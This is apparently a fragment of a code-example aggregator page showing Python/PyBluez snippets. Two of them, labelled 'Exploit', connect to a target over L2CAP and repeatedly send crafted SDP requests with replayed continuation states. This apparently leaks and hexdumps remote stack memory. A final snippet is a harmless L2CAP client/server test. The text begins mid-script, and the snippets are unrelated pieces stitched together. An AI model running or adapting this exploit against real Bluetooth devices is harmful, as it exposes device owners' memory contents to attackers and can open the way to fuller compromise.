			log.error('Unable to send packets')
		except Exception:
			exit(1)

	data = sock.recv(mtu)

	if data[-3] != '\x02':
	    try:
        	log.error('Invalid continuation state received.')
	    except Exception:
        	exit(1)

	stack = ''

	for i in range(1, n):
	    p.status('Sending packet %d' % i)
	    sock.send(packet(service_short, data[-3:]))
	    print (packet(service_short, '0f'))
	    data = sock.recv(mtu)
	    stack += data[9:-3]

	sock.close()
	p.success('Done')

	print (hexdump(stack))
Example #29
0
def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt


p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
Example #30
0
if len(sys.argv) < 2: usage()

mode = sys.argv[1]
if mode not in ["client", "server"]: usage()

if mode == "server":
    server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    server_sock.bind(("", 0x1001))
    server_sock.listen(1)
    while True:
        print "waiting for incoming connection"
        client_sock, address = server_sock.accept()
        print "Accepted connection from %s" % str(address)

        bluetooth.set_l2cap_mtu(client_sock, 65535)

        print "waiting for data"
        total = 0
        while True:
            try:
                data = client_sock.recv(65535)
            except bluetooth.BluetoothError, e:
                break
            if len(data) == 0: break
            print "received packet of size %d" % len(data)

        client_sock.close()

        print "connection closed"